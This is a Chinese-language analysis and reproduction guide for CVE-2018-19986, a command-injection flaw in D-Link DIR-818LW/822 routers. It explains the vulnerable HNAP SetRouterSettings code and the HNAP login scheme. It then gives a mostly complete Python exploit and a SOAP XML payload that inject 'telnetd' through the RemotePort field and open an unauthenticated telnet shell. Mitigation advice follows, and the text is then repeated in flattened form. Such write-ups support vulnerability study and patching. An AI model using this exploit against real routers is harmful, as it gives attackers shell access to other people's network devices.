路由器漏洞分析系列(5):CVE-2018-19986 DIR-818LW&828命令注入漏洞分析及复现
字数 1134 2025-08-27 12:33:42

D-Link DIR-818LW & DIR-828 命令注入漏洞(CVE-2018-19986)分析与复现指南

漏洞概述

CVE-2018-19986是D-Link DIR-818LW Rev.A 2.05.B03和DIR-822 B1 202KRb06路由器中存在的操作系统命令注入漏洞。通过HNAP1协议访问SetRouterSettings时,RemotePort参数未经适当检查直接用于构建系统命令,导致攻击者可执行任意命令。

漏洞原理

漏洞代码分析

漏洞存在于两个关键文件中:

  1. SetRouterSettings.php:
$path_inf_wan1 = XNODE_getpathbytarget("", "inf", "uid", $WAN1, 0); #$WAN1 = "WAN-1";
$nodebase="/runtime/hnap/SetRouterSettings/";
...
$remotePort = query($nodebase."RemotePort");
...
set($path_inf_wan1."/web", $remotePort);
  1. iptwan.php中的IPTWAN_build_command函数:
function IPTWAN_build_command($name){
    $path = XNODE_getpathbytarget("", "inf", "uid", $name, 0);
    ...
    $web = query($path."/web");
    ...
    if (query($path."/inbfilter")!="")
        fwrite("a",$_GLOBALS["START"], $iptcmd." -p tcp --dport ".$web." "."-j CK_INBOUND".$inbfn."\n");
    fwrite("a",$_GLOBALS["START"], $iptcmd." -s ".$hostip." -p tcp --dport ".$web." -j ACCEPT\n");
    ...
}

漏洞触发流程

  1. 攻击者构造恶意SetRouterSettings.xml,在RemotePort参数中注入命令(如telnetd
  2. 参数值被直接存储到$path_inf_wan1."/web"
  3. 该值随后作为iptables参数使用,未经过滤直接拼接进系统命令
  4. 恶意命令被系统执行

HNAP协议基础

HNAP协议简介

HNAP(Home Network Administration Protocol)是由Pure Networks开发、后由Cisco管理的协议,特点包括:

  • 基于SOAP和HTTP
  • 使用POST方式发送请求
  • 在HTTP头中加入SOAPAction字段指定操作
  • 请求发送至http://[ip]/HNAP1/

HNAP认证流程

  1. 请求阶段:

    • 客户端发送action为"request"的Login请求
    • 服务器返回Challenge、Cookie和PublicKey
  2. 登录阶段:

    • 客户端使用PublicKey和密码计算PrivateKey
    • 用PrivateKey和Challenge计算登录密码
    • 发送action为"login"的请求,包含计算出的密码
  3. 其他操作:

    • 每个请求需要包含HNAP_AUTH头
    • HNAP_AUTH由PrivateKey和SOAPAction计算得出

漏洞利用步骤

环境准备

  • 目标设备:D-Link DIR-818LW Rev.A 2.05.B03或DIR-822 B1 202KRb06
  • 攻击机:安装Python及requests、telnetlib库

利用脚本分析

import requests
import telnetlib
from hashlib import md5
import time
import math

# HMAC-MD5计算函数
def hmac_md5(key, msg):
    # ...实现细节省略...
    return md5(o_key_pad + md5(i_key_pad + msg).digest())

# HNAP认证头生成
def HNAP_AUTH(SOAPAction, privateKey):
    b = math.floor(int(time.time())) % 2000000000
    b = str(b)[:-2]
    h = hmac_md5(privateKey, b + '"http://purenetworks.com/HNAP1/' + SOAPAction + '"').hexdigest().upper()
    return h + " " + b

# 1. 初始设置
IP = '192.168.0.1'
adminPw = ''  # 默认admin密码为空
command = "telnetd"  # 要注入的命令

# 2. 构造Login请求获取Challenge
headers = {
    "SOAPAction": '"http://purenetworks.com/HNAP1/Login"',
    # ...其他头信息...
}
payload = '<?xml version="1.0"?><soap:Envelope...<Action>request</Action>...</soap:Envelope>'
r = requests.post('http://' + IP + '/HNAP1/', headers=headers, data=payload)

# 3. 从响应中提取认证要素
challenge = str(data[data.find("<Challenge>")+11:data.find("</Challenge>")])
cookie = data[data.find("<Cookie>")+8:data.find("</Cookie>")]
publicKey = str(data[data.find("<PublicKey>")+11:data.find("</PublicKey>")])

# 4. 计算认证凭证
privateKey = hmac_md5(publicKey + adminPw, challenge).hexdigest().upper()
password = hmac_md5(privateKey, challenge).hexdigest().upper()

# 5. 发送登录请求
headers["HNAP_AUTH"] = HNAP_AUTH("Login", privateKey)
headers["Cookie"] = "uid=" + cookie
payload = '<?xml version="1.0"?><soap:Envelope...<Action>login</Action>...<LoginPassword>' + password + '</LoginPassword>...</soap:Envelope>'
r = requests.post('http://' + IP + '/HNAP1/', headers=headers, data=payload)

# 6. 发送恶意SetRouterSettings请求
headers["HNAP_AUTH"] = HNAP_AUTH("SetRouterSettings", privateKey)
headers["SOAPaction"] = '"http://purenetworks.com/HNAP1/SetRouterSettings"'
payload = open('{}.xml'.format("CVE-2018-19986")).read().replace('ip', IP).replace('COMMAND', command)
r = requests.post('http://' + IP + '/HNAP1/', headers=headers, data=payload)

# 7. 连接开启的telnet服务
time.sleep(30)  # 等待命令执行
telnetlib.Telnet(IP).interact()

恶意XML示例

<!-- SetRouterSettings.xml -->
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <SetRouterSettings xmlns="http://purenetworks.com/HNAP1/">
      <!-- 在RemotePort参数中注入命令 -->
      <RemotePort>80`COMMAND`</RemotePort>
      <!-- 其他正常参数 -->
      <VPNPassthrough>1</VPNPassthrough>
      <IPSECPassthrough>1</IPSECPassthrough>
      <PPTPPassthrough>1</PPTPPassthrough>
      <L2TPPassthrough>1</L2TPPassthrough>
    </SetRouterSettings>
  </soap:Body>
</soap:Envelope>

防御措施

  1. 厂商修复:

    • 对用户输入进行严格过滤和验证
    • 使用白名单限制RemotePort参数的取值范围
    • 避免直接将用户输入拼接进系统命令
  2. 用户防护:

    • 及时更新固件到最新版本
    • 禁用不必要的远程管理功能
    • 修改默认管理员密码

参考资源

  1. CVE-2018-19986 PoC代码
  2. HNAP协议白皮书
  3. HNAP协议技术细节
D-Link DIR-818LW & DIR-828 命令注入漏洞(CVE-2018-19986)分析与复现指南 漏洞概述 CVE-2018-19986是D-Link DIR-818LW Rev.A 2.05.B03和DIR-822 B1 202KRb06路由器中存在的操作系统命令注入漏洞。通过HNAP1协议访问SetRouterSettings时,RemotePort参数未经适当检查直接用于构建系统命令,导致攻击者可执行任意命令。 漏洞原理 漏洞代码分析 漏洞存在于两个关键文件中: SetRouterSettings.php : iptwan.php 中的IPTWAN_ build_ command函数: 漏洞触发流程 攻击者构造恶意SetRouterSettings.xml,在RemotePort参数中注入命令(如 telnetd ) 参数值被直接存储到 $path_inf_wan1."/web" 该值随后作为iptables参数使用,未经过滤直接拼接进系统命令 恶意命令被系统执行 HNAP协议基础 HNAP协议简介 HNAP(Home Network Administration Protocol)是由Pure Networks开发、后由Cisco管理的协议,特点包括: 基于SOAP和HTTP 使用POST方式发送请求 在HTTP头中加入SOAPAction字段指定操作 请求发送至 http://[ip]/HNAP1/ HNAP认证流程 请求阶段 : 客户端发送action为"request"的Login请求 服务器返回Challenge、Cookie和PublicKey 登录阶段 : 客户端使用PublicKey和密码计算PrivateKey 用PrivateKey和Challenge计算登录密码 发送action为"login"的请求,包含计算出的密码 其他操作 : 每个请求需要包含HNAP_ AUTH头 HNAP_ AUTH由PrivateKey和SOAPAction计算得出 漏洞利用步骤 环境准备 目标设备:D-Link DIR-818LW Rev.A 2.05.B03或DIR-822 B1 202KRb06 攻击机:安装Python及requests、telnetlib库 利用脚本分析 恶意XML示例 防御措施 厂商修复 : 对用户输入进行严格过滤和验证 使用白名单限制RemotePort参数的取值范围 避免直接将用户输入拼接进系统命令 用户防护 : 及时更新固件到最新版本 禁用不必要的远程管理功能 修改默认管理员密码 参考资源 CVE-2018-19986 PoC代码 HNAP协议白皮书 HNAP协议技术细节